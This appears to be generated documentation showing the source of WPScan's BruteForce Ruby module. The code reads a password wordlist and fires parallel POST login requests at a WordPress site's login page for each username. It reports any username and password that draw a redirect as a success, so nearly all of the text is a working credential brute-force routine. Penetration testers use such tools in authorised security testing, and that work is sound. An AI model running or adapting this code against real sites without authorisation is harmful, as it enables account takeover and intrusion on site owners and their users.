BruteForce

# File lib/wpscan/modules/brute_force.rb, line 109
def self.lines_in_file(file_path)
  lines = 0
  File.open(file_path, 'r').each { |line| lines += 1 }
  lines
end

# File lib/wpscan/modules/brute_force.rb, line 23
def brute_force(logins, wordlist_path)
  hydra               = Browser.instance.hydra
  number_of_passwords = BruteForce.lines_in_file(wordlist_path)
  login_url           = login_url()

  logins.each do |login|
    queue_count    = 0
    request_count  = 0
    password_found = false

    File.open(wordlist_path, 'r').each do |password|

      # ignore file comments, but will miss passwords if they start with a hash...
      next if password[0,1] == '#'

      # keep a count of the amount of requests to be sent
      request_count += 1
      queue_count   += 1

      # create local vars for on_complete call back, Issue 51.
      username = login
      password = password

      # the request object
      request = Browser.instance.forge_request(login_url,
        :method => :post,
        :params => {:log => username, :pwd => password},
        :cache_timeout => 0
      )

      # tell hydra what to do when the request completes
      request.on_complete do |response|

        puts "\n  Trying Username : #{username} Password : #{password}" if @verbose

        if response.body =~ /login_error/
          puts "\nIncorrect username and/or password." if @verbose
        elsif response.code == 302
          puts "\n  [SUCCESS] Username : #{username} Password : #{password}\n"
          password_found = true
        elsif response.timed_out?
          puts "ERROR: Request timed out."
        elsif response.code == 0
          puts "ERROR: No response from remote server. WAF/IPS?"
        elsif response.code =~ /^50/
          puts "ERROR: Server error, try reducing the number of threads."
        else
          puts "\nERROR: We recieved an unknown response for #{password}..."
          if @verbose
            puts 'Code: ' + response.code.to_s
            puts 'Body: ' + response.body
            puts
          end
        end
      end

      # move onto the next username if we have found a valid password
      break if password_found

      # queue the request to be sent later
      hydra.queue(request)

      # progress indicator
      print "\r  Brute forcing user '#{username}' with #{number_of_passwords} passwords... #{(request_count * 100) / number_of_passwords}% complete."

      # it can take a long time to queue 2 million requests,
      # for that reason, we queue @threads, send @threads, queue @threads and so on.
      # hydra.run only returns when it has recieved all of its,
      # responses. This means that while we are waiting for @threads,
      # responses, we are waiting...
      if queue_count >= Browser.instance.max_threads
        hydra.run
        queue_count = 0
        puts "Sent #{Browser.instance.max_threads} requests ..." if @verbose
      end
    end

    # run all of the remaining requests
    hydra.run
  end

end